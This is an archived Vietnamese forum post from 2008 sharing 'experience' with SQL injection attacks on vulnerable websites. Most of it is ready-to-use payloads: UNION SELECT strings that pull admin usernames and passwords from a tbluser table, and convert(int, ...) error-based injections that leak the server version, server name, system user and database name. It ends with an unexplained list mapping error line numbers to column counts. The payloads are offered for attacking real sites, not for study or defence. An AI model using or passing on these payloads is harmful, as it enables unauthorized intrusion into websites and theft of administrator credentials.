PDA

View Full Version : Một số kinh nghiệm về tấn công SQL injection...



zoros
23-08-2008, 19:47
Một khi đã tìm đwowcj trang web lỗi, bước tiếp theo là tùy thuộc vào lỗi của trang web show ra mà tấn công cho thích hợp:
1. đối với lỗi Access database:
sử dụng câu lệnh union:
union select 1 from tbluser'
ví dụ: union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30 from tbluser'
lưu ý: khi union phải chúy sư thay đổi trên màn hình
vd trên web xuất hiện 4 và 3. chọn số và khai thác account admin: fldusername%2b'/'%2bfldpassword.
code:
%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30 from tbluser'
2. Microsoft OLE DB Provider for ODBC Drivers
Sử dụng convert:
convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
3. Microsoft JET Database Engine:

union select 1 from tbluser"having 1=1--sp_password
nếu không thành công:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30... from tbluser"having 1=1--sp_password
Một số chúy:" so Line":
line 559 -> 92
line 60->54
line 503 -> 48
line 868 -> 37
line 829->32
line 467 -> 47
line 468 -> 47
line 191 -> 56
line 184 -> 47,43,53
line 211 -> 43
line 187 -> 43
line 59 -> 70
line 930->37
line 191=>56,48
line 188=>53,56,60
line 185=>86,43
line 202=>84,91
line 208=>48,57
line 64 =>53
line 58=>43
line 424 => 44,45
line 482 => 47
line 325 => 43
line 465 => 43,47
line 965 => 41
line 505 => 68,48
line 503 => 48,45,51
line 912 -----> them den 37
line 467 -----> them den 47
line 468 -----> them den 47
line 469 -----> them den 48
line191 -----> them den56
line184 -----> them den 47,43,53
line188 -----> them den 53,56
line191 -----> them den 48
line185 -----> them den 86,43
line202 -----> them den 84,91
line208 -----> them den 48,57
line64 -----> them den 53
line211,187 -----> them den 43
line59-----> them den 70
........